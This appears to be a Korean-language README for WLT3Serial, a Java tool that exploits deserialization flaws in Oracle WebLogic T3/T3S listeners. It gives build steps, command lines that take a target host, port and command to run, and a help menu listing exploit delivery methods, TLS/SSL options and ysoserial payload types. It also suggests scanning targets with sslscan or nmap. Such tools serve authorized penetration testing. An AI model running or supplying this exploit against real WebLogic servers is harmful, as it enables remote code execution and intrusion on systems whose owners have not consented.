
WebLogic T3 (및 T3S) 리스너를 위한 네이티브 Java 기반 역직렬화 익스플로잇.
WebLogic T3 (및 T3S) 리스너를 위한 네이티브 Java 기반 역직렬화 익스플로잇 (여기에 개요 설명: 여기). 타사 종속성 ysoserial 및 wlthint3client가 필요합니다.
Oracle Java 7 또는 8이 필요합니다. 다른 Java 공급업체(OpenJDK 또는 IBM JRE 등)에서는 테스트되지 않았으므로 이러한 환경에 대한 지원을 보장하지 않습니다. Java 9 또는 10으로도 빌드할 수 있지만, 이에 대한 지원을 보장하지 않습니다.
WLT3Serial은 Gradle 빌드 자동화 시스템을 통해 빌드됩니다. 빌드에는 Gradle 4를 사용해야 합니다. 다른 버전은 일부 테스트되었습니다(개발 섹션 참조).
타사 종속성:
절차:
git clone https://github.com/Bort-Millipede/WLT3Serial.gitgradle clean preparegradle build -x testOracle Java 7 또는 8이 필요합니다. 다른 Java 공급업체(OpenJDK 또는 IBM JRE 등)에서는 테스트되지 않았으므로 이러한 환경에 대한 지원을 보장하지 않습니다. Java 9 또는 10으로도 사용할 수 있지만, 이에 대한 지원을 보장하지 않습니다.
Property (기본값), Bind 또는 WLBind 익스플로잇 방법을 사용하는 경우, WLT3Serial은 다음과 같이 실행되어야 합니다 (java '-cp' 파라미터 값에 주의):
java -cp /path/to/ysoserial.jar:/path/to/wlthint3client.jar:/path/to/WLT3Serial-[VERSION].jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDjava -cp \path\to\ysoserial.jar;\path\to\wlthint3client.jar;\path\to\WLT3Serial-[VERSION].jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDCustomClass 익스플로잇 방법을 사용하는 경우, WLT3Serial은 다음과 같이 실행되어야 합니다 (java '-cp' 파라미터 값에 주의):
java -cp /path/to/ysoserial.jar:/path/to/WLT3Serial-[VERSION].jar:/path/to/wlthint3client.jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDjava -cp \path\to\ysoserial.jar;\path\to\WLT3Serial-[VERSION].jar;\path\to\wlthint3client.jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMD다음은 내장 도움말 메뉴의 출력입니다:
Usage: WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMD
Options:
--help print usage (you're lookin at it)
--verbose Verbose output (full thrown exception output; Disabled by default)
--method=EXPLOIT_METHOD Exploit Method for delivering generated ysoserial payload
Exploit Methods:
Property Send ysoserial payload as connection environment property value (Default; via javax.naming.Context.lookup(), variation of ysoserial.exploit.RMIRegistryExploit)
Bind Send ysoserial payload as object to bind to name (via javax.naming.Context.bind(), similar to ysoserial.exploit.RMIRegistryExploit)
WLBind Send ysoserial payload as WebLogic RMI object to bind to name (via weblogic.rmi.Naming.bind(), similar to ysoserial.exploit.RMIRegistryExploit)
CustomClass Send ysoserial payload during T3/T3S connection initialization (via custom weblogic.rjvm.ClassTableEntry class, similar to JavaUnserializeExploits weblogic.py)
--t3s[=PROTOCOL] Use T3S (transport-encrypted) connection (Disabled by default)
Protocols:
TLSv1.2
TLSv1.1
TLSv1 (Default)
SSLv3
SSLv2 (SSLv2Hello handshake only, then fallback to SSLv3 for communication: this is an Oracle Java limitation, not a WLT3Serial limitation)
Available Payload Types (WebLogic is usually vulnerable to "CommonsCollectionsX" and "JRMPClientX" types):
(available payloads listed here)
Property, Bind 및 WLBind 방법은 모두 매우 유사합니다. 대상 시스템이 이러한 방법 중 하나로 익스플로잇될 수 없다면, 다른 방법으로도 익스플로잇될 수 없을 가능성이 높습니다. CustomClass 방법은 다른 방법들과 완전히 다릅니다.
사용자는 sslscan 또는 nmap ssl-enum-ciphers 스크립트로 대상 서비스를 스캔하여 지원되는 프로토콜을 확인하는 것이 좋습니다. 이렇게 하면 WLT3Serial 실행 시 --t3s 옵션을 세밀하게 조정할 수 있습니다.
JavaUnserializeExploits weblogic.py 및 loubia 익스플로잇을 개선하기 위해 WLT3Serial은 WebLogic T3/T3S 서비스에 연결하기 위해 다음 리소스를 사용하여 Java로 개발되었습니다:
T3 연결을 Java에서 네이티브하게 처리하고, 사용자에게 유용한 명령 출력을 제공하기 위한 적절한 오류 처리에 중점을 두었습니다.
WLT3Serial은 다음 소프트웨어 버전을 사용하여 개발되었습니다:
개발 중 라이브 테스트는 다음 WebLogic Server 버전에 대해 수행되었습니다:
개발자는 이 소프트웨어를 무료로 제공하며 어떠한 보증도 하지 않으며, 이 소프트웨어를 사용하여 시스템에 발생한 모든 손해에 대해 책임을 지지 않습니다. 소프트웨어를 사용하는 동안 모든 지역, 주 및 연방 법률을 준수하는 것은 사용자의 책임입니다.
(C) 2017, 2018 Jeffrey Cap (Bort_Millipede)